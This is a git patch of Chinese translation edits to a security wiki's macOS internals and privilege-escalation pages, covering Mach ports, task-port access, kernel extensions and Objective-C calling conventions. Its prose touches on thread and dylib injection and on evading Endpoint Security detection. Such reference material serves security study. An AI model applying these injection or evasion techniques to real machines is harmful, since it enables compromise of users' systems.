From 31fe13990d1329a9b40f811dd819e047bd3a1ebe Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 05:05:02 +0000 Subject: [PATCH] Translated ['src/macos-hardening/macos-security-and-privilege-escalation --- .../mac-os-architecture/README.md | 2 +- .../README.md | 24 ++-- .../macos-kernel-extensions.md | 10 +- .../macos-system-extensions.md | 6 +- .../README.md | 64 ++++----- .../arm64-basic-assembly.md | 64 ++++----- .../introduction-to-x64.md | 12 +- .../objects-in-memory.md | 2 +- .../README.md | 36 ++--- .../macos-bundles.md | 4 +- .../macos-installers-abuse.md | 8 +- .../macos-memory-dumping.md | 2 +- .../macos-sensitive-locations.md | 16 +-- .../universal-binaries-and-mach-o-format.md | 42 +++--- .../macos-proces-abuse/README.md | 95 ++++++++++--- .../macos-.net-applications-injection.md | 6 +- .../macos-chromium-injection.md | 2 +- .../macos-proces-abuse/macos-dirty-nib.md | 2 +- .../macos-electron-applications-injection.md | 26 ++-- .../macos-function-hooking.md | 14 +- .../README.md | 96 ++++++------- .../macos-mig-mach-interface-generator.md | 28 ++-- .../macos-thread-injection-via-task-port.md | 12 +- .../macos-xpc/README.md | 20 +-- .../macos-xpc/macos-xpc-authorization.md | 10 +- .../README.md | 6 +- .../macos-pid-reuse.md | 2 +- ...s-xpc_connection_get_audit_token-attack.md | 22 +-- .../macos-java-apps-injection.md | 4 +- .../macos-library-injection/README.md | 36 ++--- ...yld-hijacking-and-dyld_insert_libraries.md | 2 +- .../macos-dyld-process.md | 26 ++-- .../macos-perl-applications-injection.md | 6 +- .../macos-security-protections/README.md | 10 +- .../macos-amfi-applemobilefileintegrity.md | 4 +- .../macos-authorizations-db-and-authd.md | 2 +- .../macos-code-signing.md | 28 ++-- .../macos-dangerous-entitlements.md | 20 +-- .../macos-fs-tricks/README.md | 34 ++--- .../macos-gatekeeper.md | 64 ++++----- .../macos-launch-environment-constraints.md | 10 +- ...macf-mandatory-access-control-framework.md | 30 ++-- .../macos-sandbox/README.md | 26 ++-- .../macos-sandbox-debug-and-bypass/README.md | 20 +-- .../macos-office-sandbox-bypasses.md | 10 +- .../macos-security-protections/macos-sip.md | 42 +++--- .../macos-tcc/README.md | 38 ++--- .../macos-tcc/macos-apple-events.md | 4 +- .../macos-tcc/macos-tcc-bypasses/README.md | 58 +++----- .../macos-tcc-bypasses/macos-apple-scripts.md | 2 +- .../macos-tcc/macos-tcc-payloads.md | 8 +- .../android-app-pentesting/README.md | 132 +++++++++--------- .../android-app-pentesting/adb-commands.md | 6 +- .../android-applications-basics.md | 58 ++++---- .../android-task-hijacking.md | 20 +-- .../android-app-pentesting/apk-decompilers.md | 2 +- .../avd-android-virtual-device.md | 22 +-- ...bypass-biometric-authentication-android.md | 2 +- .../content-protocol.md | 8 +- .../drozer-tutorial/README.md | 16 +-- .../exploiting-content-providers.md | 10 +- .../exploiting-a-debuggeable-applciation.md | 26 ++-- .../frida-tutorial/README.md | 2 +- .../frida-tutorial/frida-tutorial-1.md | 12 +- .../frida-tutorial/frida-tutorial-2.md | 13 +- .../frida-tutorial/objection-tutorial.md | 12 +- .../frida-tutorial/owaspuncrackable-1.md | 2 +- .../google-ctf-2018-shall-we-play-a-game.md | 20 +-- .../install-burp-certificate.md | 13 +- .../make-apk-accept-ca-certificate.md | 4 +- .../react-native-application.md | 8 +- .../reversing-native-libraries.md | 4 +- .../android-app-pentesting/smali-changes.md | 12 +- .../spoofing-your-location-in-play-store.md | 34 ++--- .../android-app-pentesting/tapjacking.md | 11 +- .../android-app-pentesting/webview-attacks.md | 8 +- src/mobile-pentesting/android-checklist.md | 4 +- src/mobile-pentesting/cordova-apps.md | 2 +- .../ios-pentesting-checklist.md | 14 +- .../ios-pentesting/README.md | 86 ++++++------ .../basic-ios-testing-operations.md | 22 +-- .../burp-configuration-for-ios.md | 8 +- ...-entitlements-from-compiled-application.md | 4 +- .../frida-configuration-in-ios.md | 10 +- .../ios-pentesting/ios-app-extensions.md | 4 +- .../ios-pentesting/ios-basics.md | 36 ++--- ...m-uri-handlers-deeplinks-custom-schemes.md | 12 +- .../ios-hooking-with-objection.md | 14 +- .../ios-serialisation-and-encoding.md | 10 +- .../ios-pentesting/ios-testing-environment.md | 10 +- .../ios-pentesting/ios-uiactivity-sharing.md | 8 +- .../ios-pentesting/ios-uipasteboard.md | 2 +- .../ios-pentesting/ios-universal-links.md | 6 +- .../ios-pentesting/ios-webviews.md | 18 +-- src/mobile-pentesting/xamarin-apps.md | 8 +- .../1099-pentesting-java-rmi.md | 12 +- .../11211-memcache/README.md | 34 ++--- .../11211-memcache/memcache-commands.md | 21 +-- .../113-pentesting-ident.md | 6 +- .../135-pentesting-msrpc.md | 2 +- .../137-138-139-pentesting-netbios.md | 6 +- .../1414-pentesting-ibmmq.md | 16 +-- .../15672-pentesting-rabbitmq-management.md | 4 +- .../1883-pentesting-mqtt-mosquitto.md | 8 +- .../2375-pentesting-docker.md | 22 +-- ...-24008-24009-49152-pentesting-glusterfs.md | 4 +- .../27017-27018-mongodb.md | 10 +- .../3128-pentesting-squid.md | 10 +- .../3260-pentesting-iscsi.md | 4 +- .../3299-pentesting-saprouter.md | 16 +-- .../3632-pentesting-distcc.md | 4 +- .../3702-udp-pentesting-ws-discovery.md | 2 +- .../43-pentesting-whois.md | 2 +- ...ntesting-erlang-port-mapper-daemon-epmd.md | 6 +- .../44134-pentesting-tiller-helm.md | 6 +- .../44818-ethernetip.md | 2 +- .../4786-cisco-smart-install.md | 4 +- .../4840-pentesting-opc-ua.md | 4 +- .../49-pentesting-tacacs+.md | 10 +- .../5000-pentesting-docker-registry.md | 12 +- ...060-50070-50075-50090-pentesting-hadoop.md | 2 +- .../512-pentesting-rexec.md | 2 +- .../5353-udp-multicast-dns-mdns.md | 4 +- .../554-8554-pentesting-rtsp.md | 6 +- .../5671-5672-pentesting-amqp.md | 6 +- .../584-pentesting-afp.md | 2 +- .../5984-pentesting-couchdb.md | 24 ++-- .../5985-5986-pentesting-omi.md | 2 +- .../5985-5986-pentesting-winrm.md | 16 +-- .../6000-pentesting-x11.md | 4 +- .../623-udp-ipmi.md | 13 +- .../6379-pentesting-redis.md | 24 ++-- .../69-udp-tftp.md | 6 +- .../7-tcp-udp-pentesting-echo.md | 2 +- .../700-pentesting-epp.md | 2 +- ...09-pentesting-apache-jserv-protocol-ajp.md | 6 +- .../8086-pentesting-influxdb.md | 4 +- .../8089-splunkd.md | 4 +- ...33-18333-38333-18444-pentesting-bitcoin.md | 8 +- .../873-pentesting-rsync.md | 8 +- .../9001-pentesting-hsqldb.md | 8 +- src/network-services-pentesting/9100-pjl.md | 2 +- src/network-services-pentesting/cassandra.md | 2 +- .../ipsec-ike-vpn-pentesting.md | 56 ++++---- .../nfs-service-pentesting.md | 16 +-- ...ting-631-internet-printing-protocol-ipp.md | 2 +- .../pentesting-dns.md | 7 +- .../pentesting-finger.md | 1 + .../pentesting-ftp/README.md | 28 ++-- .../pentesting-ftp/ftp-bounce-attack.md | 2 +- .../ftp-bounce-download-2oftp-file.md | 2 +- .../pentesting-imap.md | 12 +- .../pentesting-irc.md | 2 +- ...entesting-jdwp-java-debug-wire-protocol.md | 8 +- .../pentesting-kerberos-88/README.md | 2 +- .../harvesting-tickets-from-windows.md | 4 +- .../pentesting-ldap.md | 20 +-- .../README.md | 22 +-- .../types-of-mssql-users.md | 6 +- .../pentesting-mysql.md | 12 +- .../pentesting-ntp.md | 2 + .../pentesting-postgresql.md | 54 +++---- .../pentesting-rdp.md | 8 +- .../pentesting-remote-gdbserver.md | 6 +- .../pentesting-rpcbind.md | 8 +- .../pentesting-rsh.md | 2 +- .../pentesting-sap.md | 14 +- .../pentesting-smb.md | 30 ++-- .../pentesting-smb/README.md | 46 +++--- .../pentesting-smb/rpcclient-enumeration.md | 40 +++--- .../pentesting-smtp/README.md | 32 ++--- .../pentesting-smtp/smtp-commands.md | 6 +- .../pentesting-smtp/smtp-smuggling.md | 2 +- .../pentesting-snmp/README.md | 21 +-- .../pentesting-snmp/snmp-rce.md | 12 +- .../pentesting-ssh.md | 47 +++---- .../pentesting-telnet.md | 2 +- .../pentesting-vnc.md | 4 +- .../pentesting-voip/README.md | 58 ++++---- .../basic-voip-protocols/README.md | 32 ++--- .../sip-session-initiation-protocol.md | 16 +-- .../pentesting-web/403-and-401-bypasses.md | 8 +- .../pentesting-web/README.md | 40 +++--- .../pentesting-web/angular.md | 34 ++--- .../pentesting-web/apache.md | 34 ++--- .../pentesting-web/cgi.md | 7 +- .../pentesting-web/code-review-tools.md | 16 +-- .../pentesting-web/dotnetnuke-dnn.md | 4 +- .../pentesting-web/drupal/README.md | 4 +- .../pentesting-web/drupal/drupal-rce.md | 22 +-- .../electron-desktop-apps/README.md | 20 +-- ...solation-rce-via-electron-internal-code.md | 2 +- .../electron-contextisolation-rce-via-ipc.md | 2 +- ...n-contextisolation-rce-via-preload-code.md | 12 +- .../pentesting-web/flask.md | 16 +-- .../pentesting-web/git.md | 6 +- .../pentesting-web/graphql.md | 42 +++--- .../pentesting-web/h2-java-sql-database.md | 4 +- .../iis-internet-information-services.md | 16 +-- .../pentesting-web/imagemagick-security.md | 8 +- .../pentesting-web/joomla.md | 12 +- .../pentesting-web/laravel.md | 4 +- .../pentesting-web/moodle.md | 4 +- .../pentesting-web/nextjs.md | 32 ++--- .../pentesting-web/nginx.md | 20 +-- .../pentesting-web/php-tricks-esp/README.md | 51 ++++--- ...object-creation-new-usd_get-a-usd_get-b.md | 18 +-- .../pentesting-web/php-tricks-esp/php-ssrf.md | 6 +- .../README.md | 46 +++--- .../disable_functions-bypass-dl-function.md | 4 +- ...e_functions-bypass-php-7.0-7.4-nix-only.md | 4 +- ...isable_functions-bypass-php-fpm-fastcgi.md | 6 +- ...le_functions-php-5.x-shellshock-exploit.md | 2 +- .../pentesting-web/put-method-webdav.md | 16 +-- .../pentesting-web/rocket-chat.md | 2 +- .../pentesting-web/special-http-headers.md | 16 +-- .../pentesting-web/spring-actuators.md | 4 +- .../pentesting-web/tomcat/README.md | 18 +-- .../pentesting-web/uncovering-cloudflare.md | 16 +-- .../pentesting-web/web-api-pentesting.md | 16 +-- .../pentesting-web/werkzeug.md | 28 ++-- .../pentesting-web/wordpress.md | 50 +++---- src/pentesting-web/2fa-bypass.md | 8 +- src/pentesting-web/account-takeover.md | 16 +-- src/pentesting-web/bypass-payment-process.md | 4 +- src/pentesting-web/captcha-bypass.md | 4 +- src/pentesting-web/clickjacking.md | 12 +- .../client-side-path-traversal.md | 2 +- .../client-side-template-injection-csti.md | 4 +- src/pentesting-web/command-injection.md | 2 +- src/pentesting-web/cors-bypass.md | 128 ++++++++--------- src/pentesting-web/crlf-0d-0a.md | 20 +-- .../csrf-cross-site-request-forgery.md | 28 ++-- src/pentesting-web/dependency-confusion.md | 10 +- .../domain-subdomain-takeover.md | 12 +- src/pentesting-web/email-injections.md | 10 +- ...ula-csv-doc-latex-ghostscript-injection.md | 6 +- src/pentesting-web/h2c-smuggling.md | 12 +- .../http-connection-contamination.md | 2 +- 239 files changed, 1931 insertions(+), 1901 deletions(-) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 530c86ac8..849df1f54 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -27,7 +27,7 @@ XNU **内核** 还 **包含** 大量来自 **FreeBSD** 项目的代码。这些 - TCP/IP 堆栈和套接字 - 防火墙和数据包过滤 -由于 BSD 和 Mach 之间的不同概念框架,理解它们之间的交互可能很复杂。例如,BSD 使用进程作为其基本执行单元,而 Mach 基于线程操作。这种差异在 XNU 中通过 **将每个 BSD 进程与一个包含恰好一个 Mach 线程的 Mach 任务关联** 来调和。当使用 BSD 的 fork() 系统调用时,内核中的 BSD 代码使用 Mach 函数来创建任务和线程结构。 +由于 BSD 和 Mach 之间的不同概念框架,理解它们之间的交互可能很复杂。例如,BSD 将进程作为其基本执行单元,而 Mach 基于线程操作。这种差异在 XNU 中通过 **将每个 BSD 进程与一个包含恰好一个 Mach 线程的 Mach 任务关联** 来调和。当使用 BSD 的 fork() 系统调用时,内核中的 BSD 代码使用 Mach 函数来创建任务和线程结构。 此外,**Mach 和 BSD 各自维护不同的安全模型**:**Mach 的** 安全模型基于 **端口权限**,而 BSD 的安全模型基于 **进程所有权**。这两种模型之间的差异偶尔会导致本地特权提升漏洞。除了典型的系统调用外,还有 **Mach 陷阱,允许用户空间程序与内核交互**。这些不同的元素共同构成了 macOS 内核的多面性混合架构。 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index d11a6fa9a..c3292ad65 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -12,11 +12,11 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可 每个进程都有一个 **IPC 表**,可以在其中找到 **进程的 mach 端口**。mach 端口的名称实际上是一个数字(指向内核对象的指针)。 -一个进程还可以将一个端口名称和一些权限 **发送给不同的任务**,内核会在 **另一个任务的 IPC 表** 中显示这个条目。 +一个进程还可以将端口名称和一些权限 **发送到不同的任务**,内核会在 **另一个任务的 IPC 表** 中显示此条目。 ### 端口权限 -端口权限定义了任务可以执行的操作,是这种通信的关键。可能的 **端口权限** 是([定义来自这里](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): +端口权限定义了任务可以执行的操作,是这种通信的关键。可能的 **端口权限** 是 ([定义来自这里](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): - **接收权限**,允许接收发送到端口的消息。Mach 端口是 MPSC(多个生产者,单个消费者)队列,这意味着在整个系统中每个端口只能有 **一个接收权限**(与管道不同,多个进程可以持有一个管道的读端文件描述符)。 - 拥有 **接收权限** 的 **任务** 可以接收消息并 **创建发送权限**,允许其发送消息。最初只有 **自己的任务对其端口拥有接收权限**。 @@ -39,13 +39,13 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可 如前所述,为了建立通信通道,**引导服务器**(在 mac 中为 **launchd**)参与其中。 1. 任务 **A** 发起一个 **新端口**,在此过程中获得 **接收权限**。 -2. 任务 **A**,作为接收权限的持有者,**为该端口生成一个发送权限**。 +2. 任务 **A** 作为接收权限的持有者,**为该端口生成一个发送权限**。 3. 任务 **A** 与 **引导服务器** 建立 **连接**,提供 **端口的服务名称** 和 **发送权限**,通过称为引导注册的过程。 4. 任务 **B** 与 **引导服务器** 交互以执行服务名称的引导 **查找**。如果成功,**服务器复制从任务 A 接收到的发送权限** 并 **将其传输给任务 B**。 5. 在获得发送权限后,任务 **B** 能够 **构造** 一条 **消息** 并将其 **发送给任务 A**。 -6. 对于双向通信,通常任务 **B** 生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**,以便其可以向任务 B 发送消息(双向通信)。 +6. 对于双向通信,通常任务 **B** 会生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**,以便其可以向任务 B 发送消息(双向通信)。 -引导服务器 **无法验证** 任务声称的服务名称。这意味着一个 **任务** 可能会 **冒充任何系统任务**,例如虚假 **声称一个授权服务名称**,然后批准每个请求。 +引导服务器 **无法验证** 任务声称的服务名称。这意味着一个 **任务** 可能会 **冒充任何系统任务**,例如虚假 **声称一个授权服务名称** 然后批准每个请求。 然后,Apple 将 **系统提供的服务名称** 存储在安全配置文件中,位于 **SIP 保护** 目录:`/System/Library/LaunchDaemons` 和 `/System/Library/LaunchAgents`。每个服务名称旁边,**相关的二进制文件也被存储**。引导服务器将为每个这些服务名称创建并持有 **接收权限**。 @@ -53,7 +53,7 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可 - 任务 **B** 发起对服务名称的引导 **查找**。 - **launchd** 检查任务是否正在运行,如果没有,则 **启动** 它。 -- 任务 **A**(服务)执行 **引导检查**。在这里,**引导** 服务器创建一个发送权限,保留它,并 **将接收权限转移给任务 A**。 +- 任务 **A**(服务)执行 **引导签到**。在这里,**引导** 服务器创建一个发送权限,保留它,并 **将接收权限转移给任务 A**。 - launchd 复制 **发送权限并将其发送给任务 B**。 - 任务 **B** 生成一个带有 **接收** 权限和 **发送** 权限的新端口,并将 **发送权限授予任务 A**(服务),以便其可以向任务 B 发送消息(双向通信)。 @@ -63,7 +63,7 @@ Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可 [在这里找到更多信息](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) -`mach_msg` 函数,基本上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。此消息必须以 `mach_msg_header_t` 结构开始,后面是实际的消息内容。该结构定义如下: +`mach_msg` 函数,基本上是一个系统调用,用于发送和接收 Mach 消息。该函数要求将要发送的消息作为初始参数。此消息必须以 `mach_msg_header_t` 结构开始,后面跟着实际的消息内容。该结构定义如下: ```c typedef struct { mach_msg_bits_t msgh_bits; @@ -89,7 +89,7 @@ mach_msg_id_t msgh_id; - `msgh_id`: 此消息的 ID,由接收者解释。 > [!CAUTION] -> 请注意 **mach 消息是通过 \_mach port\_ 发送的**,这是一个内置于 mach 内核的 **单接收者**、**多个发送者** 的通信通道。**多个进程** 可以 **向 mach 端口发送消息**,但在任何时候只有 **一个进程可以从中读取**。 +> 请注意 **mach 消息是通过 \_mach port**\_ 发送的,这是一个内置于 mach 内核的 **单接收者**、**多个发送者** 的通信通道。**多个进程** 可以 **向 mach 端口发送消息**,但在任何时候只有 **一个进程可以从中读取**。 ### 枚举端口 ```bash @@ -229,10 +229,10 @@ printf("Sent a message\n"); - **主机端口**:如果一个进程对这个端口具有 **发送** 权限,他可以获取 **系统** 的 **信息**(例如 `host_processor_info`)。 - **主机特权端口**:一个对这个端口具有 **发送** 权限的进程可以执行 **特权操作**,如加载内核扩展。**进程需要是 root** 才能获得此权限。 -- 此外,为了调用 **`kext_request`** API,需要拥有其他权利 **`com.apple.private.kext*`**,这些权利仅授予 Apple 的二进制文件。 +- 此外,为了调用 **`kext_request`** API,需要拥有其他权限 **`com.apple.private.kext*`**,这些权限仅授予 Apple 的二进制文件。 - **任务名称端口**:_任务端口_ 的一个非特权版本。它引用任务,但不允许控制它。通过它似乎唯一可用的功能是 `task_info()`。 - **任务端口**(又名内核端口):对这个端口具有发送权限可以控制任务(读/写内存,创建线程...)。 -- 调用 `mach_task_self()` 来 **获取** 调用任务的端口名称。此端口仅在 **`exec()`** 之间 **继承**;通过 `fork()` 创建的新任务会获得一个新的任务端口(作为特例,任务在 suid 二进制文件中 `exec()` 后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行 `fork()` 时进行 ["端口交换舞"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)。 +- 调用 `mach_task_self()` 来 **获取** 调用任务的端口名称。这个端口仅在 **`exec()`** 之间 **继承**;通过 `fork()` 创建的新任务会获得一个新的任务端口(作为特例,任务在 suid 二进制文件中 `exec()` 后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行 `fork()` 时进行 ["端口交换舞"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)。 - 访问端口的限制(来自二进制文件 `AppleMobileFileIntegrity` 的 `macos_task_policy`): - 如果应用具有 **`com.apple.security.get-task-allow` 权限**,来自 **同一用户** 的进程可以访问任务端口(通常由 Xcode 为调试添加)。**公证** 过程不允许其用于生产版本。 - 具有 **`com.apple.system-task-ports`** 权限的应用可以获取 **任何** 进程的 **任务端口**,除了内核。在旧版本中称为 **`task_for_pid-allow`**。这仅授予 Apple 应用。 @@ -506,7 +506,7 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject 因此,为了**改进线程**,它应该调用**`pthread_create_from_mach_thread`**,这将**创建一个有效的pthread**。然后,这个新的pthread可以**调用dlopen**来**从系统加载一个dylib**,因此不必编写新的shellcode来执行不同的操作,而是可以加载自定义库。 -您可以在以下位置找到**示例dylibs**(例如,生成日志的那个,然后您可以监听它): +您可以在(例如生成日志然后您可以监听的那个)找到**示例dylibs**: {{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -812,7 +812,7 @@ XPC,即 XNU(macOS 使用的内核)进程间通信,是一个用于 **macO ## MIG - Mach 接口生成器 -MIG 的创建旨在 **简化 Mach IPC** 代码的生成过程。它基本上 **生成所需的代码** 以便服务器和客户端根据给定定义进行通信。即使生成的代码不美观,开发人员只需导入它,其代码将比之前简单得多。 +MIG 的创建旨在 **简化 Mach IPC** 代码的生成过程。它基本上 **生成所需的代码** 以便服务器和客户端根据给定定义进行通信。即使生成的代码很丑,开发人员只需导入它,其代码将比之前简单得多。 有关更多信息,请查看: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index 8ddf17407..3dc9b5522 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -22,7 +22,7 @@ ### 加载过程 -在 Catalina 中是这样的:有趣的是,**验证** 过程发生在 **用户空间**。然而,只有具有 **`com.apple.private.security.kext-management`** 授权的应用程序可以 **请求内核加载扩展**:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd` +在 Catalina 中是这样的:有趣的是,**验证** 过程发生在 **用户空间**。然而,只有具有 **`com.apple.private.security.kext-management`** 授权的应用程序可以 **请求内核加载扩展**:`kextcache`,`kextload`,`kextutil`,`kextd`,`syspolicyd` 1. **`kextutil`** cli **启动** 加载扩展的 **验证** 过程 - 它将通过发送 **Mach 服务** 与 **`kextd`** 进行通信。 @@ -47,7 +47,7 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 > [!CAUTION] > 尽管内核扩展预计位于 `/System/Library/Extensions/` 中,但如果你去这个文件夹,你 **找不到任何二进制文件**。这是因为 **kernelcache**,为了反向工程一个 `.kext`,你需要找到获取它的方法。 -**kernelcache** 是 **XNU 内核的预编译和预链接版本**,以及基本的设备 **驱动程序** 和 **内核扩展**。它以 **压缩** 格式存储,并在启动过程中解压到内存中。kernelcache 通过提供一个准备就绪的内核和关键驱动程序的版本,促进了 **更快的启动时间**,减少了在启动时动态加载和链接这些组件所需的时间和资源。 +**kernelcache** 是 **XNU 内核的预编译和预链接版本**,以及必要的设备 **驱动程序** 和 **内核扩展**。它以 **压缩** 格式存储,并在启动过程中解压到内存中。kernelcache 通过提供一个准备就绪的内核和关键驱动程序的版本,促进了 **更快的启动时间**,减少了在启动时动态加载和链接这些组件所需的时间和资源。 ### Local Kerlnelcache @@ -58,12 +58,12 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 #### IMG4 -IMG4 文件格式是 Apple 在其 iOS 和 macOS 设备中用于安全 **存储和验证固件** 组件(如 **kernelcache**)的容器格式。IMG4 格式包括一个头部和多个标签,这些标签封装了不同的数据片段,包括实际的有效载荷(如内核或引导加载程序)、签名和一组清单属性。该格式支持加密验证,允许设备在执行固件组件之前确认其真实性和完整性。 +IMG4 文件格式是苹果在其 iOS 和 macOS 设备中用于安全 **存储和验证固件** 组件(如 **kernelcache**)的容器格式。IMG4 格式包括一个头部和几个标签,这些标签封装了不同的数据片段,包括实际的有效载荷(如内核或引导加载程序)、签名和一组清单属性。该格式支持加密验证,允许设备在执行固件组件之前确认其真实性和完整性。 它通常由以下组件组成: - **有效载荷 (IM4P)**: -- 通常被压缩(LZFSE4, LZSS, …) +- 通常是压缩的 (LZFSE4, LZSS, …) - 可选加密 - **清单 (IM4M)**: - 包含签名 @@ -103,7 +103,7 @@ nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l ```bash pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` -[**img4tool**](https://github.com/tihmstar/img4tool)**:** +[**img4tool**](https://github.com/tihmstar/img4tool)**:** ```bash img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index 67b1cb19c..aafbbcff1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -48,7 +48,7 @@ DriverKit 是内核扩展的替代品,**提供硬件支持**。它允许设备
https://www.youtube.com/watch?v=jaVkpM1UqOs
-与端点安全框架的 **用户空间通信** 通过 IOUserClient 类进行。根据调用者的类型使用两种不同的子类: +**与端点安全框架的用户空间通信** 通过 IOUserClient 类进行。根据调用者的类型使用两种不同的子类: - **EndpointSecurityDriverClient**:这需要 `com.apple.private.endpoint-security.manager` 权限,仅由系统进程 `endpointsecurityd` 持有。 - **EndpointSecurityExternalClient**:这需要 `com.apple.developer.endpoint-security.client` 权限。通常由需要与端点安全框架交互的第三方安全软件使用。 @@ -57,11 +57,11 @@ DriverKit 是内核扩展的替代品,**提供硬件支持**。它允许设备 **`endpointsecurityd`** 是一个关键的系统守护进程,负责管理和启动端点安全系统扩展,特别是在早期启动过程中。**只有标记为** **`NSEndpointSecurityEarlyBoot`** **的系统扩展** 在其 `Info.plist` 文件中接收这种早期启动处理。 -另一个系统守护进程 **`sysextd`** **验证系统扩展** 并将其移动到适当的系统位置。然后,它请求相关守护进程加载扩展。**`SystemExtensions.framework`** 负责激活和停用系统扩展。 +另一个系统守护进程,**`sysextd`**,**验证系统扩展** 并将其移动到适当的系统位置。然后,它请求相关守护进程加载扩展。**`SystemExtensions.framework`** 负责激活和停用系统扩展。 ## 绕过 ESF -ESF 被安全工具使用,这些工具会尝试检测红队,因此任何关于如何避免这一点的信息都很有趣。 +ESF 被安全工具使用,这些工具会尝试检测红队人员,因此任何关于如何避免这一点的信息都很有趣。 ### CVE-2021-30965 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 3bffbec84..6b910cd4f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -123,10 +123,10 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg 该函数期望的参数为: - 第一个参数 (**self**) 是 "指向 **接收消息的类实例的指针**"。更简单地说,它是正在调用该方法的对象。如果该方法是类方法,则这是类对象的一个实例(作为整体),而对于实例方法,self 将指向类的一个实例化对象。 -- 第二个参数 (**op**) 是 "处理消息的方法选择器"。同样,更简单地说,这只是 **方法的名称**。 +- 第二个参数 (**op**) 是 "处理消息的方法的选择器"。同样,更简单地说,这只是 **方法的名称**。 - 剩余的参数是方法所需的任何 **值** (op)。 -请参见如何在此页面中 **使用 `lldb` 在 ARM64 中轻松获取此信息**: +请参见如何在 ARM64 中 **使用 `lldb` 轻松获取此信息**: {{#ref}} arm64-basic-assembly.md @@ -135,13 +135,13 @@ arm64-basic-assembly.md x64: | **参数** | **寄存器** | **(对于) objc_msgSend** | -| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ | -| **第一个参数** | **rdi** | **self: 正在调用该方法的对象** | -| **第二个参数** | **rsi** | **op: 方法的名称** | -| **第三个参数** | **rdx** | **方法的第一个参数** | -| **第四个参数** | **rcx** | **方法的第二个参数** | -| **第五个参数** | **r8** | **方法的第三个参数** | -| **第六个参数** | **r9** | **方法的第四个参数** | +| ---------------- | ------------------------------------------------------------- | ------------------------------------------------------ | +| **第一个参数** | **rdi** | **self: 正在调用该方法的对象** | +| **第二个参数** | **rsi** | **op: 方法的名称** | +| **第三个参数** | **rdx** | **方法的第一个参数** | +| **第四个参数** | **rcx** | **方法的第二个参数** | +| **第五个参数** | **r8** | **方法的第三个参数** | +| **第六个参数** | **r9** | **方法的第四个参数** | | **第七个及以上参数** |

rsp+
(在栈上)

| **方法的第五个及以上参数** | ### 转储 ObjectiveC 元数据 @@ -162,13 +162,13 @@ objdump --macho --objc-meta-data /path/to/bin ``` #### class-dump -[**class-dump**](https://github.com/nygard/class-dump/) 是一个原始工具,用于生成 ObjetiveC 格式代码中类、类别和协议的声明。 +[**class-dump**](https://github.com/nygard/class-dump/) 是一个原始工具,用于生成 ObjetiveC 格式代码中的类、类别和协议的声明。 -它很旧且未维护,因此可能无法正常工作。 +它已经过时且未维护,因此可能无法正常工作。 #### ICDump -[**iCDump**](https://github.com/romainthomas/iCDump) 是一个现代的跨平台 Objective-C 类转储工具。与现有工具相比,iCDump 可以独立于 Apple 生态系统运行,并且它提供了 Python 绑定。 +[**iCDump**](https://github.com/romainthomas/iCDump) 是一个现代的跨平台 Objective-C 类转储工具。与现有工具相比,iCDump 可以独立于 Apple 生态系统运行,并且提供 Python 绑定。 ```python import icdump metadata = icdump.objc.parse("/path/to/bin") @@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 